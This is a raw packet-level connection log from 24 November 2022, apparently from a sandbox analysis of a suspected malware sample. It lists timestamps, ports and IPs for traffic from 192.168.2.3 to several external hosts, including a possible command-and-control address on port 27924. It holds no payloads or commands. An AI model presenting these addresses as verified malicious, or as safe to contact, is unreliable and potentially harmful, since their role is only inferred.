Nov 24, 2022 16:57:36.961445093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961463928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961463928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961483002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961500883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961519003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961519003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961535931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961539030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961555004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961572886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961572886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961591005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961610079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961627007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961636066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961649895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961854935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961894035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961896896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961925030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961950064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961965084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961977959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962003946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962019920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962023973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962043047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962095022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962136984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962193012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962219000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962232113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962243080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962253094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962270021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962295055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962306023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962321997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962347984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962372065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962383986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962397099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962407112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962424994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962450027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962476969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962486029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962502956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962519884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962527990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962548971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962565899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962583065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962594032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962601900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962614059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962620020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962637901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962641954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962656975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962673903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962692022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962696075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962713957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962821007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962852955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962869883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962892056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962902069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962910891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.962934017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.962964058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963001013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963020086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963053942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963093996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963099957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963129044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963136911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963155031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963182926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963207960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963227034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963233948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963239908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963258028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963274956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963293076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963310003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963315964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963332891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963370085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963395119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963419914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963430882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963457108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963464022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963483095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963500977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963521004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963527918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963555098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963579893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963593006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963604927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963610888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963633060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963656902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963669062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963675976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963692904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963711023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963711023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963728905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963746071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963763952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963766098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963782072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963788033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963800907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963819027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963820934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963831902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963849068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963871002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963871956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963896036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963896036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963927031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963953018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.963962078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.963977098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964001894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964014053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964025974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964035034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964051962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964076996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964112043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964318037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964344978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964370012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964386940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964395046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964405060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964421034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964447021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964468002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964483023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964487076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964505911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964508057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964524031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964546919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964560032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964571953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964581013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964596987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964622974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.964631081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.964643955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.965261936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:42.384927988 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:42.435929060 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:42.436348915 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:42.488512039 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:42.488926888 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:42.538265944 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:42.607669115 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:42.644839048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:42.645531893 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:58:09.894172907 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:09.894248009 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:09.894342899 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:09.994082928 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:09.994139910 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:10.056948900 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:10.057053089 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:10.834060907 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:10.834127903 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:10.835052013 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:10.835175037 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:10.901525021 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:10.901568890 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:11.366239071 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:11.366314888 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:11.366338968 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:11.366389990 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:11.366451025 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:11.366503000 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:11.371284008 CET	49714	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:11.371304035 CET	443	49714	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:12.947935104 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:12.948003054 CET	443	49715	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:12.948095083 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:12.956768990 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:12.956809998 CET	443	49715	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:12.957920074 CET	49716	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:12.958009005 CET	443	49716	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:12.958132029 CET	49716	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:12.958458900 CET	49716	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:12.958497047 CET	443	49716	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:12.958571911 CET	443	49716	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:13.008115053 CET	443	49715	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:13.008927107 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.031208992 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.031234980 CET	443	49715	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:13.071360111 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.071386099 CET	443	49715	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:13.155626059 CET	443	49715	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:13.156327963 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.156354904 CET	443	49715	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:13.156450033 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.172483921 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.172646046 CET	443	49715	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:13.172744036 CET	49715	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.825814009 CET	49717	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:13.825885057 CET	443	49717	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:13.825999022 CET	49717	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:13.826386929 CET	49717	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:13.826407909 CET	443	49717	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:13.826505899 CET	443	49717	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:13.949599028 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.949641943 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:13.949783087 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.954957962 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:13.954982042 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.010514021 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.010617971 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.035396099 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.035434961 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.036081076 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.036910057 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.037503004 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.037520885 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.051575899 CET	49719	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.051647902 CET	443	49719	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.052607059 CET	49719	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.052983999 CET	49719	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.053015947 CET	443	49719	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.053102970 CET	443	49719	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.114293098 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.114521027 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.114557028 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.114717007 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.171463013 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.171638966 CET	443	49718	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.171730995 CET	49718	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.287822962 CET	49720	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.287899971 CET	443	49720	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.288001060 CET	49720	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.288836956 CET	49720	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.288878918 CET	443	49720	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.288963079 CET	443	49720	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.303885937 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.303967953 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.304052114 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.306092978 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.306123018 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.356719971 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.356852055 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.370846987 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.370887995 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.371674061 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.372934103 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.373591900 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.373619080 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.392237902 CET	49722	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.392327070 CET	443	49722	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.392416000 CET	49722	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.395595074 CET	49722	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:14.395641088 CET	443	49722	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.395714998 CET	443	49722	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:14.480249882 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.480371952 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.480424881 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.480457067 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:14.480520964 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.491019011 CET	49721	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:14.491071939 CET	443	49721	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:15.838882923 CET	49723	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:15.838952065 CET	443	49723	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:15.839056969 CET	49723	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:15.839468002 CET	49723	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:15.839513063 CET	443	49723	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:15.839654922 CET	443	49723	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:15.988018990 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:15.988063097 CET	443	49724	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:15.988159895 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:16.015213966 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:16.015264034 CET	443	49724	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:16.074368000 CET	443	49724	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:16.074506044 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:16.091114998 CET	49725	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:16.091187000 CET	443	49725	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:16.091276884 CET	49725	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:16.091629028 CET	49725	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:16.091660976 CET	443	49725	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:16.091712952 CET	443	49725	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:16.132219076 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:16.132262945 CET	443	49724	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:16.144037008 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:16.144066095 CET	443	49724	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:16.236939907 CET	443	49724	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:16.237025023 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:16.237056971 CET	443	49724	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:16.237144947 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:16.269922018 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:16.270226002 CET	443	49724	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:16.270332098 CET	49724	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.172708035 CET	49726	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.172786951 CET	443	49726	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.172898054 CET	49726	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.173352003 CET	49726	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.173388004 CET	443	49726	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.173459053 CET	443	49726	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.292984962 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.293051958 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.293135881 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.294549942 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.294579983 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.353341103 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.353454113 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.359462023 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.359483004 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.359992027 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.360079050 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.362651110 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.362664938 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.413181067 CET	49728	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.413288116 CET	443	49728	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.413399935 CET	49728	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.413780928 CET	49728	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.413817883 CET	443	49728	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.413896084 CET	443	49728	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.465997934 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.466082096 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.466113091 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.466183901 CET	49727	443	192.168.2.3	172.66.43.60
